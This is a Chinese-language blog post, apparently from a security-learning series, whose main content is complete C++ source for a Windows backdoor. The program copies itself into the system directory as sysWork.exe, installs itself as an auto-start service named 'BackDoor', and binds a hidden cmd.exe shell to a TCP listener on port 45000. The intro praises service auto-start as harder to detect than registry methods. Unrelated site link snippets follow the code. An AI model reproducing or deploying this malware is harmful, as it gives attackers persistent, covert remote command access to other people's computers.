简介

Windows NT系统后门要实现自启动,有许多种方法,例如注册表自启动映像劫持技术SVCHost自启动以及本章节介绍的服务自启动等方法,其中服务自启动相对于上述其他三种需要修改注册表的启动方式而言更不容易被发现。

C++代码样例

//////////////////////////////////////////////////////////////
//
// FileName : ServiceAutoRunDemo.cpp
// Creator : PeterZ1997
// Date : 2018-5-4 23:19
// Comment : Create Service to make the BackDoor Run Automatically
//
////////////////////////////////////////////////////////////// #include <iostream>
#include <WinSock2.h>
#include <winsock.h>
#include <windows.h>
#include <Winsvc.h>
#include <cstdio>
#include <cstring>
#pragma comment(lib, "ws2_32.lib") using namespace std; #define SERVICE_OP_ERROR -1
#define SERVICE_ALREADY_RUN -2 const unsigned int MAX_COUNT = 255; /// String Max Length
const DWORD PORT = 45000; /// Listen Port
const unsigned int LINK_COUNT = 30; /// Max Link Number SERVICE_STATUS g_ServiceStatus;
SERVICE_STATUS_HANDLE g_hServiceStatus; /**
* @brief CallBack Function to Translate Service Control Code
* @param dwCode Service Control Code
*/
void WINAPI ServiceControl(DWORD dwCode)
{
switch (dwCode)
{
//服务暂停
case SERVICE_CONTROL_PAUSE:
g_ServiceStatus.dwCurrentState = SERVICE_PAUSED;
break;
//服务继续
case SERVICE_CONTROL_CONTINUE:
g_ServiceStatus.dwCurrentState = SERVICE_RUNNING;
break;
//服务停止
case SERVICE_CONTROL_STOP:
g_ServiceStatus.dwCurrentState = SERVICE_STOPPED;
g_ServiceStatus.dwWin32ExitCode = 0;
g_ServiceStatus.dwCheckPoint = 0;
g_ServiceStatus.dwWaitHint = 0;
break;
case SERVICE_CONTROL_INTERROGATE:
break;
default:
break;
}
//设置服务状态
if (SetServiceStatus(g_hServiceStatus, &g_ServiceStatus) == 0)
{
printf("Set Service Status Error\n");
}
return;
} /**
* @brief Start Remote Shell
* @lpParam the Client Handle
*/
DWORD WINAPI StartShell(LPVOID lpParam)
{
STARTUPINFO si;
PROCESS_INFORMATION pi;
CHAR cmdline[MAX_COUNT] = { 0 };
GetStartupInfo(&si);
si.cb = sizeof(STARTUPINFO);
si.hStdInput = si.hStdOutput = si.hStdError = (HANDLE)lpParam;
si.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
si.wShowWindow = SW_HIDE;
GetSystemDirectory(cmdline, sizeof(cmdline));
strcat_s(cmdline, sizeof(cmdline), "\\cmd.exe");
while (!CreateProcess(NULL, cmdline, NULL, NULL, TRUE, NULL, NULL, NULL, &si, &pi))
{
Sleep(100);
}
WaitForSingleObject(pi.hProcess, INFINITE);
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
return 0;
} /**
* @brief Service Running Function
* @lpParam NULL
*/
DWORD WINAPI RunService(LPVOID lpParam)
{
CHAR wMessage[MAX_COUNT] = "<================= Welcome to Back Door >_< ==================>\n";
SOCKET sClient[30];
DWORD dwThreadId[30];
HANDLE hThread[30];
WSADATA wsd;
if (WSAStartup(0x0202, &wsd))
{
printf("WSAStartup Process Error\n");
return 0;
}
SOCKET sListen = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0);
sockaddr_in sin;
sin.sin_family = AF_INET;
sin.sin_port = htons(PORT);
sin.sin_addr.S_un.S_addr = INADDR_ANY;
if (bind(sListen, (LPSOCKADDR)&sin, sizeof(sin))) return 0;
if (listen(sListen, LINK_COUNT)) return 0;
for (int i = 0; i < LINK_COUNT; i++)
{
sClient[i] = accept(sListen, NULL, NULL);
hThread[i] = CreateThread(NULL, 0, StartShell, (LPVOID)sClient[i], 0, &dwThreadId[i]);
send(sClient[i], wMessage, strlen(wMessage), 0);
}
WaitForMultipleObjects(LINK_COUNT, hThread, TRUE, INFINITE);
return 0;
} /**
* @brief the Main Function of the Service
*/
void WINAPI ServiceMain(DWORD dwArgc, LPTSTR *lpArgv)
{
HANDLE hThread;
g_ServiceStatus.dwCheckPoint = 0;
g_ServiceStatus.dwControlsAccepted = SERVICE_ACCEPT_PAUSE_CONTINUE | SERVICE_ACCEPT_STOP;
g_ServiceStatus.dwCurrentState = SERVICE_START_PENDING;
g_ServiceStatus.dwServiceSpecificExitCode = 0;
g_ServiceStatus.dwServiceType = SERVICE_WIN32;
g_ServiceStatus.dwWaitHint = 0;
g_ServiceStatus.dwWin32ExitCode = 0;
g_hServiceStatus = RegisterServiceCtrlHandler("BackDoor", ServiceControl);
if (!g_hServiceStatus)
{
printf("Register Service Error\n");
return;
}
g_ServiceStatus.dwCurrentState = SERVICE_RUNNING;
g_ServiceStatus.dwCheckPoint = 0;
g_ServiceStatus.dwWaitHint = 0;
if (!SetServiceStatus(g_hServiceStatus, &g_ServiceStatus))
{
printf("Set ServiceStatus Error !\n");
return;
}
hThread = CreateThread(NULL, 0, RunService, NULL, 0, NULL);
if (!hThread)
{
printf("Create Thread Error\n");
}
return;
} /**
* @brief Install Service
*/
int APIENTRY InstallService()
{
DWORD dwErrorCode;
SC_HANDLE hscManager;
SC_HANDLE hServiceHandle;
SERVICE_STATUS ssServiceStatus;
CHAR szSystemPath[MAX_COUNT] = "\0";
CHAR szFileSelfPath[MAX_COUNT] = "\0";
GetSystemDirectory(szSystemPath, sizeof(szSystemPath));
GetModuleFileName(NULL, szFileSelfPath, sizeof(szFileSelfPath));
strcat_s(szSystemPath, "\\sysWork.exe");
CopyFile(szFileSelfPath, szSystemPath, true);
hscManager = OpenSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS);
if (!hscManager)
{
printf("Can not Open the Service Manager\n");
return SERVICE_OP_ERROR;
}
printf("Service Manager Opened Success\n");
hServiceHandle = CreateService(hscManager, "BackDoor", "BackDoor", SERVICE_ALL_ACCESS, SERVICE_WIN32_OWN_PROCESS, SERVICE_AUTO_START, SERVICE_ERROR_IGNORE, szSystemPath, NULL, NULL, NULL, NULL, NULL);
if (!hServiceHandle)
{
dwErrorCode = GetLastError();
if (dwErrorCode == ERROR_SERVICE_EXISTS)
{
hServiceHandle = OpenService(hscManager, "BackDoor", SERVICE_ALL_ACCESS);
if (!hServiceHandle)
{
printf("Can not Create/Open Service\n");
CloseServiceHandle(hServiceHandle);
return SERVICE_OP_ERROR;
}
else
{
printf("Service Opened Success\n");
}
}
}
else {
printf("Service Create Success\n");
}
if (!StartService(hServiceHandle, 0, NULL))
{
dwErrorCode = GetLastError();
if (dwErrorCode == ERROR_SERVICE_ALREADY_RUNNING)
{
printf("SERVEICE IS ALREADY RUNNING\n");
CloseServiceHandle(hServiceHandle);
CloseServiceHandle(hscManager);
return SERVICE_ALREADY_RUN;
}
else
{
printf("SERVEICE START ERROR\n");
CloseServiceHandle(hServiceHandle);
CloseServiceHandle(hscManager);
return SERVICE_OP_ERROR;
}
}
while (QueryServiceStatus(hServiceHandle, &ssServiceStatus))
{
if (ssServiceStatus.dwCurrentState == SERVICE_START_PENDING)
{
Sleep(100);
continue;
}
if (ssServiceStatus.dwCurrentState != SERVICE_RUNNING)
{
printf("Service Start Process ERROR\n");
CloseServiceHandle(hServiceHandle);
CloseServiceHandle(hscManager);
return SERVICE_OP_ERROR;
}
else
{
break;
}
}
if (!QueryServiceStatus(hServiceHandle, &ssServiceStatus))
{
printf("Service Status Get Error\n");
CloseServiceHandle(hServiceHandle);
CloseServiceHandle(hscManager);
return SERVICE_OP_ERROR;
}
printf("Service Start Success\n");
CloseServiceHandle(hServiceHandle);
CloseServiceHandle(hscManager);
return 0;
} /**
* @brief Remove Service
*/
int RemoveService()
{
SC_HANDLE hscManager;
SC_HANDLE hServiceHandle;
SERVICE_STATUS ssServiceStatus;
hscManager = OpenSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS);
if (!hscManager)
{
printf("Open Service Manager Error\n");
return SERVICE_OP_ERROR;
}
printf("Open Service Manager Success\n");
hServiceHandle = OpenService(hscManager, "BackDoor", SERVICE_ALL_ACCESS);
if (!hServiceHandle)
{
printf("Open Service Error\n");
return SERVICE_OP_ERROR;
}
printf("Open Service Success\n");
if (QueryServiceStatus(hServiceHandle, &ssServiceStatus))
{
if (ssServiceStatus.dwCurrentState == SERVICE_RUNNING)
{
ControlService(hServiceHandle, SERVICE_CONTROL_STOP, &ssServiceStatus);
}
}
else
{
printf("Service Status Get Error\n");
CloseServiceHandle(hServiceHandle);
CloseServiceHandle(hscManager);
return SERVICE_OP_ERROR;
}
if (!DeleteService(hServiceHandle))
{
printf("Delete Service Error\n");
CloseServiceHandle(hServiceHandle);
CloseServiceHandle(hscManager);
return SERVICE_OP_ERROR;
}
printf("Remove Service Success\n");
CloseServiceHandle(hServiceHandle);
CloseServiceHandle(hscManager);
return 0;
} /**
* @brief main Function
*/
int main(int argc, char* argv[])
{
SERVICE_TABLE_ENTRY svTable[] = {
{(LPSTR)"BackDoor",ServiceMain},
{NULL,NULL}
};
StartServiceCtrlDispatcher(svTable);
if (argc == 2)
{
if (!stricmp(argv[1], "--install"))
{
if (InstallService() == SERVICE_OP_ERROR)
{
printf("[!]Service Operation Error\n");
}
else
{
printf("[*]Service Operation Success\n");
}
}
else if (!stricmp(argv[1], "--remove"))
{
if (RemoveService() == SERVICE_OP_ERROR)
{
printf("[!]Service Operation Error\n");
}
else
{
printf("[*]Service Operation Success\n");
}
}
else
{
printf("[Usage] => *.exe [--install]/[--remove]\n");
}
}
else {
printf("[Usage] => *.exe [--install]/[--remove]\n");
}
return 0;
}

安全之路 —— C/C++实现后门的服务自启动的更多相关文章

  1. SHIFT后门拿服务器之方法总结

    提权工具如下:cmd.exe Churrasco.exe nc.exe 提权前提:Wscript组件成功开启 如果Wscript组件被关闭,则使用以下方法开启: 源代码: <object run ...

  2. 物联网架构成长之路(22)-Docker练习之Etcd服务搭建

    0. 前言 时隔多日,前段时间忙完一个可有可无的项目后,又进入摸鱼时间,没有办法,非互联网公司,就是闲得蛋疼.又开始了自学之路.以前入门过Docker,然后又很久没有看了,最近重新看了一下,推荐一下这 ...

  3. Linux上天之路(十二)之服务管理

    主要内容 服务介绍 独立服务 非独立服务 1. 服务介绍 服务:常驻在内存中的程序,且可以提供一些系统或网络功能,那就是服务. 计算机中的系统服务有很多,比如: apache提供web服务 ftp提供 ...

  4. 物联网架构成长之路(30)-Spring Boot Admin微服务WebUI监控

    0. 前言 一个完整的微服务解决方案包含了许多微服务,基于我们需要观察各个微服务的运行状态,因此Spring Boot 生态提供了Spring Boot Admin 这个组件来实现微服务管理WEB U ...

  5. NET Core微服务之路:自己动手实现Rpc服务框架,基于DotEasy.Rpc服务框架的介绍和集成

    本篇内容属于非实用性(拿来即用)介绍,如对框架设计没兴趣的朋友,请略过. 快一个月没有写博文了,最近忙着两件事;    一:阅读刘墉先生的<说话的魅力>,以一种微妙的,你我大家都会经常遇见 ...

  6. 物联网架构成长之路(18)-接阿里云OSS服务

    1.申请/购买OSS服务 在阿里云上申请/购买OSS服务, 然后在会得AccessKeyID,AccessKeySecret,bucketName 这三个东西 2.增删改查 在pom.xml文件上增加 ...

  7. 物联网架构成长之路(23)-Docker练习之Elasticsearch服务搭建

    0. 前言 最近基本都是学一些环境配置,和一些中间件的安装与配置.没有实际编写代码.可能看起来有点水,我对自己的学习方式是,先要了解各个中间件的安装配置以及简单使用,理论应用场景,然后我在小项目中,逐 ...

  8. Kubernetes学习之路(十四)之服务发现Service

    一.Service的概念 运行在Pod中的应用是向客户端提供服务的守护进程,比如,nginx.tomcat.etcd等等,它们都是受控于控制器的资源对象,存在生命周期,我们知道Pod资源对象在自愿或非 ...

  9. MySQL学习之路1-Mac下启动连接MySQL服务

    MySQL简介 (MySQL是目前最流行的关系型数据库管理系统,现属于Oracle公司.) MySQL主要特点: 支持大型数据库,支持5000万条记录的数据仓库,32位系统表文件最大可支持4GB,64 ...

随机推荐

  1. ansible 角色登陆

    用ansible 来管理远程的主机,最大的好处是方便,ansible不用在远程的主机上安装ansible的客户端,ansible只要能通过ssh连接上远程主机就 能对它进行管理.也就是说ansible ...

  2. Java-Maven(八):配置远程中央仓库的各种方法

    一.远程仓库的配置 在平时的开发中,我们往往不会使用默认的中央仓库,默认的中央仓库访问的速度比较慢,访问的人或许很多,有时候也无法满足我们项目的需求,可能项目需要的某些构件中央仓库中是没有的,而在其他 ...

  3. Spring-mvc登录方法及JSP的拦截

    添加登录拦截器:LoginInterceptor import javax.servlet.http.HttpServletRequest; import javax.servlet.http.Htt ...

  4. ffplay源码分析1-概述

    本文为作者原创,转载请注明出处:https://www.cnblogs.com/leisure_chn/p/10301215.html ffplay是一个很简单的播放器,但是初次接触仍会感到概念和细节 ...

  5. 并发编程之 ConcurrentHashMap(JDK 1.8) putVal 源码分析

    前言 我们之前分析了Hash的源码,主要是 put 方法.同时,我们知道,HashMap 在并发的时候是不安全的,为什么呢?因为当多个线程对 Map 进行扩容会导致链表成环.不单单是这个问题,当多个线 ...

  6. [转]论magento1和magento2的速度性能优化问题

    本文转自:http://www.360magento.com/blog/magento-speed-up/ magento从2007年发展至今,也经历了十余年的磨练,如今也迎来了magento的换代产 ...

  7. Spring基础(7) : Bean的名字

    1.普通bean是用id标志,context.getBean时传入名称即可获得. <bean id="p" class="com.Person"/> ...

  8. MVC的注意事项及开发技巧

    演示产品源码下载地址:http://www.jinhusns.com 

  9. JUC源码阅读参考文章

    (飞哥)http://brokendreams.iteye.com/blog/2252081 (熊猫)http://blog.csdn.net/xiaoxufox/article/details/51 ...

  10. 1.C#知识点:值类型和引用类型

    一.什么是值类型?什么引用类型? 1.值类型的值是存储在栈上的.引用类型是存在堆上的.  2.值类型变量声明之后,不管是否已经分配内存,编译器在堆上为其分配内存.  3.引用类型声明的时候,这时候只在 ...